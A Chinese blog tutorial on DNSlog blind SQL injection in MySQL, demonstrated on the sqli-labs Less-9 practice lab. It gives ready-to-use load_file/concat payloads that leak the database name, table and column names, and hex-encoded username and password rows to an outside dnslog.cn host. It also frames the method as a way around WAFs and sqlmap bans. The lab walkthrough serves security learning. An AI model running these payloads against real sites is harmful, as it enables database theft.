MySQL注入-盲注-Dnslog手工注入

前言

Dns注入如果分类的话应该分到盲注里面,但是他比像布尔盲注或者时间盲注这种效率更高一些,在一些特定的环境下面我们用时候布尔盲注或者时间盲注去注入的话,手工注入的话对waf的绕过会有很大的帮助,但是效率非常低,同时我们可以使用sqlmap,但是sqlmap很多网站都会给你加入到黑名单里面,让你在一定的时间上不了网,就是把你ip锁了。这时候一般建议如果这个网站有waf的话手工绕过次数次数能够少一些,也不需要去买一些代理,让这个代理去跑这个sqlmap的目标网站,我们就可以尝试一下dnslog注入。同时dnslog注入也是属于盲注的一种,但是他盲注的效率会比布尔盲注或者时间盲注效率更高一些。因为布尔盲注和时间盲注都是属于一个字符一个字符的注入出来,而dnslog注入他是可以一组一组或者一行一行的注入出来的。整体效率比布尔和时间盲注的效率大的多了

#使用dnslog注入前提条件

前提条件:目标服务器开启了读取写入的权限(root权限)

(像文件上传和dnslog如果其中一个可以做的话,那么也意味着dnslog和文件上传两个都可以一起做,那么同时也意味着如果一个不能做的话,那么这两个你都不能做)

#关键函数

Load_file():

函数的功能是读取文件并且返回文件内容为字符串,要使用此函数,文件必须位于服务器上,必须指定完整 路径,而且必须有file权限。该文件所有字节可读,但是文件内容必须小于max_allowed_packet。

读取c盘下面的haha.txt的文件

Load_file(“c:\\haha.txt”)

Load_file()这个函数除了可以读取本机的路径以外,他还可以读取网上的其他服务器文件

#UNC路径

格式:\Servername\sharename,其中servername是服务器的名称(可以是ip地址,也可以是域名)。sharename是共享资源的名称,目录或者文件的UNG名称可以包括共享名称下的目录下的路径,格式:\servername\sharename\filename

共享文件概述

配置共享文件夹

 

访问共享文件夹

\\192.168.222.142 : ip地址

\share:你需要访问的文件夹

\1.txt:你需要访问的文件名


#DNSlog原理

 首先攻击者提交一个恶意的代码,相当于我们访问sam服务器的UNC地址的一个路径。然后放到数据库中,数据库会去解析这个DNS,他这个时候就会把解析的发给送DNS服务器,并且会产生一个日志,这时候我们就可以通过查看日志,来看他执行的命令是什么

总结:攻击者提交注入语句,让数据库把需要查询的域名和值拼接起来,然后发送DNS查询,我们只要获取到DNS的日志,就可以得到我们想要的值。所以我们需要有一个自己的域名,然后在域名商处配置一条NS记录,然后在NS服务器商获取DNS日志即可


就是在这个字段,因为在这个位置正常应该填入的是ip地址或者域名,所谓的dnslog注入就是填写一些域名

比如说我在这里写上一个域名

假设我们在前面写上一个我们所执行的指令(select database())并且使用 . 进行拼接

当数据库去查询的时候,他就会优先去查询(select database())这个指令(括号内的优先执行),当(select database())这个语句查询成功之后,他就会把查询的内容比如说Security(当前数据库)的 名字和ctfstu.com这个域名拼接到一起,放在前面

就会变成这样的一个域名

然后他在去解析这个域名,去访问这个域名下的文件(这个文件不是重点)

重点的是这个部分,在执行完我们之前的语句之后返回的内容。就是我们注入得到的一些数据库信息

备:(这里的指令是错的,不过是用来当成一个实例的)


#需要用的网站

1.http://ceye.io (如果是个人使用,不经常变动,可以在这里注册个账号,包括你利用工具去注入也需要他里面的api接口)

2.http://www.dnslog.cn (以下案例演示使用)

# www.dnslog.cn使用教程

首先点击-Get SubDomain

此时他就会给你一个域名

1539yb.dnslog.cn

这个域名是随机配置给你的

打开一个页面

在他给你配置的域名前面随便乱打一通,记得要加上个". "点号

然后点击->Refresh Record

此时你就可以看到他的解析记录

再次随机生成一条不一样的

此时就又生成了一条

#利用手工注入语句

And (select load_file(concat(1,2,3)))  一共三个参数

1:"//"或者'/'

2.查询的sql语句

3.DNS路径+随便一个文件夹

比如

And (select load_file(concat(//,(select database()),.4tp4b9.dnslog.cn/kk.txt)))

#案例演示

sqli-labs-master/Less-9

1.判断是否存在注入点,使用什么方式进行闭合

paly load

and sleep(5)

由于第九关是时间盲注,我们就使用时间盲注进行判断,实际情况下按环境选择使用

url:?id=1' and sleep(5) --+

页面暂停了5秒钟,说明是使用' 单引号进行闭合的

2.获取当前数据库

play load

 and (select load_file(concat("//",(select database()),".你的域名/随便的文件名")))

url:

?id=1'  and (select load_file(concat("//",(select database()),".par0nm.dnslog.cn/hh.txt"))) --+

回车之后页面会加载一段时间,不用管他

打开你使用的dns的接口的网页,点击Refrech Record

此时就获取到当前数据库的数据名了

数据库 "seucirty "

2.获取数据库所有数据表

paly load

?id=1' and (select load_file(concat("//",(select table_name from information_Schema.tables where table_schema=database() limit n,1),".域名/随便文件名"))) --+

查询一个数据表

url:

?id=1' and (select load_file(concat("//",(select table_name from information_Schema.tables where table_schema=database() limit 0,1),".par0nm.dnslog.cn
/hhhh"))) --+

第一个数据表为:emailis

查询第二个数据表

url:?id=1'  and (select load_file(concat("//",(select table_name  from information_schema.tables  where table_schema=database() limit 1,1),".par0nm.dnslog.cn
/jjjjjsd")))--+

第二个数据表为 :refers

查询第三个数据表

?id=1'  and (select load_file(concat("//",(select table_name  from information_schema.tables  where table_schema=database() limit 2,1),".par0nm.dnslog.cn
/jjjjjsd")))--+

第三个数据表为:uagents

查询第四个数据表

?id=1'  and (select load_file(concat("//",(select table_name  from information_schema.tables  where table_schema=database() limit 3,1),".par0nm.dnslog.cn
/jjjjjsd")))--+

 第四个数据表为:users

3.获取所有列(字段)信息

play load

and (select load_file(concat('//',(select column_name from information_Schema.columns where table_schema=database() and table_name="表名" limit n,1),".域名/随便文件名"))) --+

 查询第一个字段

?id=1' and (select load_file(concat('//',(select column_name from information_Schema.columns where table_schema=database() and table_name="users" limit 0,1),".par0nm.dnslog.cn/sudhwi"))) --+

第一个字段id

查询第二个字段

?id=1' and (select load_file(concat('//',(select column_name from information_Schema.columns where table_schema=database() and table_name="users" limit 1,1),".par0nm.dnslog.cn/sudhwi"))) --+

第二个字段:username

查询第三个字段

?id=1' and (select load_file(concat('//',(select column_name from information_Schema.columns where table_schema=database() and table_name="users" limit 2,1),".par0nm.dnslog.cn/sudhwi"))) --+

 第三个字段:password

4.脱库

获取password 和username的字段信息

因为在load_file里面 不能使用@~等符号,所以区分数据我们可以先用concat_ws()函数分割再用hex()转成16进制即可得到结果在装回去

paly load:

and load_file(concat('\\\\',(select hex(concat_ws('~',字段一,字段2)) from 数据表 limit n,1),'.域名\\文件名'))--+

url:

and load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.par0nm.dnslog.cn
\\kjsjdhfuehfic'))--+

将hex值进行转换

转换结果:

umb~Dumb

补充:这里注意的是使用limit 0,1 查看数据,一行一行的看

limit 0 , 1; 解释:起点位置为0,开始查询,返回1条数据

limit 1 , 1; 解释:起点位置为1,开始查询,返回1条数据

猜你喜欢

转载自blog.csdn.net/m0_72755466/article/details/129892314
今日推荐